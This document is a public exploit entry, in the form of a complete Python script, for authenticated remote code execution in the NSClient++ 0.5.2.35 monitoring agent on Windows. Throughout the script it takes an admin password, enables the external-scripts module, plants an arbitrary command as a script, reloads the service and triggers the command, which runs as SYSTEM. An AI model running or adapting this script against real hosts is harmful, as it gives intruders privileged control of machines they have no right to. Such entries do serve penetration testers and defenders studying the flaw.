NSClient++ 0.5.2.35 - Authenticated Remote Code Execution

# Exploit Title: NSClient++ 0.5.2.35 - Authenticated Remote Code Execution
# Google Dork: N/A
# Date: 2020-04-20
# Exploit Author: kindredsec
# Vendor Homepage: https://nsclient.org/
# Software Link: https://nsclient.org/download/
# Version: 0.5.2.35
# Tested on: Microsoft Windows 10 Pro (x64)
# CVE: N/A
#
# NSClient++ is a monitoring agent that has the option to run external scripts.
# This feature can allow an attacker, given they have credentials, the ability to execute
# arbitrary code via the NSClient++ web application. Since it runs as NT Authority/System bt
# Default, this leads to privileged code execution.

#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup as bs
import urllib3
import json
import sys
import random
import string
import time
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def generateName():

	letters = string.ascii_lowercase + string.ascii_uppercase
	return ''.join(random.choice(letters) for i in range(random.randint(8,13)))

def printStatus(message, msg_type):

	C_YELLOW = '\033[1;33m'
	C_RESET = '\033[0m'
	C_GREEN = '\033[1;32m'
	C_RED = '\033[1;31m'

	if msg_type == "good":
		green_plus = C_GREEN + "[+]" + C_RESET 
		string = green_plus + " " + message

	elif msg_type == "info":
		yellow_ex = C_YELLOW + "[!]" + C_RESET
		string = yellow_ex + " " + message
	
	elif msg_type == "bad":
		red_minus = C_RED + "[-]" + C_RESET
		string = red_minus + " " + message

	print(string)


# This function adds a new external script containing the desired
# command, then saves the configuration
def configurePayload(session, cmd, key):

	printStatus("Configuring Script with Specified Payload . . .", "info")
	endpoint = "/settings/query.json"
	node = { "path" : "/settings/external scripts/scripts",
		 "key" : key } 
	value = { "string_data" :  cmd }
	update = { "node" : node , "value" : value }
	payload = [ { "plugin_id" : "1234",
		    "update" :  update } ] 
	json_data = { "type" : "SettingsRequestMessage", "payload" : payload }

	out = session.post(url = base_url + endpoint, json=json_data, verify=False)
	if "STATUS_OK" not in str(out.content):
		printStatus("Error configuring payload. Hit error at: "  + endpoint, "bad")
		sys.exit(1)

	printStatus("Added External Script (name: " + key + ")", "good")
	time.sleep(3)
	printStatus("Saving Configuration . . .", "info")
	header = { "version" : "1" }
	payload = [ { "plugin_id" : "1234", "control" : { "command" : "SAVE" }} ]
	json_data = { "header" : header, "type" : "SettingsRequestMessage", "payload" : payload }
	
	session.post(url = base_url + endpoint, json=json_data, verify=False)	


# Since the application needs to be restarted after making changes,
# this function reloads the application, and waits for it to come back.
def reloadConfig(session):

	printStatus("Reloading Application . . .", "info")
	endpoint = "/core/reload"
	session.get(url = base_url + endpoint, verify=False)
	
	# Wait until the application successfully reloads by making a request
	# every 10 seconds until it responds.
	printStatus("Waiting for Application to reload . . .", "info")
	time.sleep(10)
	response = False
	count = 0 
	while not response:
		try:
			out = session.get(url = base_url, verify=False, timeout=10)
			if len(out.content) > 0:
				response = True
		except:
			count += 1
			if count > 10:
				printStatus("Application failed to reload. Nice DoS exploit! /s", "bad")
				sys.exit(1)
			else:
				continue	


# This function makes the call to the new external script to
# ultimately execute the code.
def triggerPayload(session, key):

	printStatus("Triggering payload, should execute shortly . . .", "info")
	endpoint = "/query/" + key
	try:
		session.get(url = base_url + endpoint, verify=False, timeout=10)
	except requests.exceptions.ReadTimeout:
		printStatus("Timeout exceeded. Assuming your payload executed . . .", "info")
		sys.exit(0)


# Before setting up the exploit, this function makes sure the
# required feature (External Scripts) is enabled on the application.
def enableFeature(session):

	printStatus("Enabling External Scripts Module . . .", "info")
	endpoint = "/registry/control/module/load"
	params = { "name" : "CheckExternalScripts" }
	out = session.get(url = base_url + endpoint, params=params, verify=False)
	if "STATUS_OK" not in str(out.content):
		printStatus("Error enabling required feature. Hit error at: "  + endpoint, "bad")
		sys.exit(1)


# This function obtains an authentication token that gets added to all
# remaining headers.
def getAuthToken(session):

	printStatus("Obtaining Authentication Token . . .", "info")
	endpoint = "/auth/token"
	params = { "password" : password }
	auth = session.get(url = base_url + endpoint, params=params, verify=False)	
	if "auth token" in str(auth.content):
		j = json.loads(auth.content)
		authToken = j["auth token"]
		printStatus("Got auth token: " + authToken, "good")
		return authToken
	else:
		printStatus("Error obtaining auth token, is your password correct? Hit error at: "  + endpoint, "bad")
		sys.exit(1)
		


parser = argparse.ArgumentParser("NSClient++ 0.5.2.35 Authenticated RCE")
parser.add_argument('-t', nargs='?', metavar='target', help='Target IP Address.')
parser.add_argument('-P', nargs='?', metavar='port', help='Target Port.')
parser.add_argument('-p', nargs='?', metavar='password', help='NSClient++ Administrative Password.')
parser.add_argument('-c', nargs='?', metavar='command', help='Command to execute on target')
args = parser.parse_args()

if len(sys.argv) < 4:
	parser.print_help()
	sys.exit(1)

# Build base URL, grab needed arguments
base_url = "https://" + args.t + ":" + args.P
printStatus("Targeting base URL " + base_url, "info")
password = args.p
cmd = args.c

# Get first auth token, and add it to headers of session
s = requests.session()
token = getAuthToken(s)
s.headers.update({ "TOKEN" : token})

# Generate a random name, enable the feature, add the payload,
# then reload.
randKey = generateName()
enableFeature(s)
configurePayload(s, cmd, randKey)
reloadConfig(s)

# Since application was reloaded, need a new auth token.
token = getAuthToken(s)
s.headers.update({ "TOKEN" : token})

# Execute our code.
triggerPayload(s, randKey)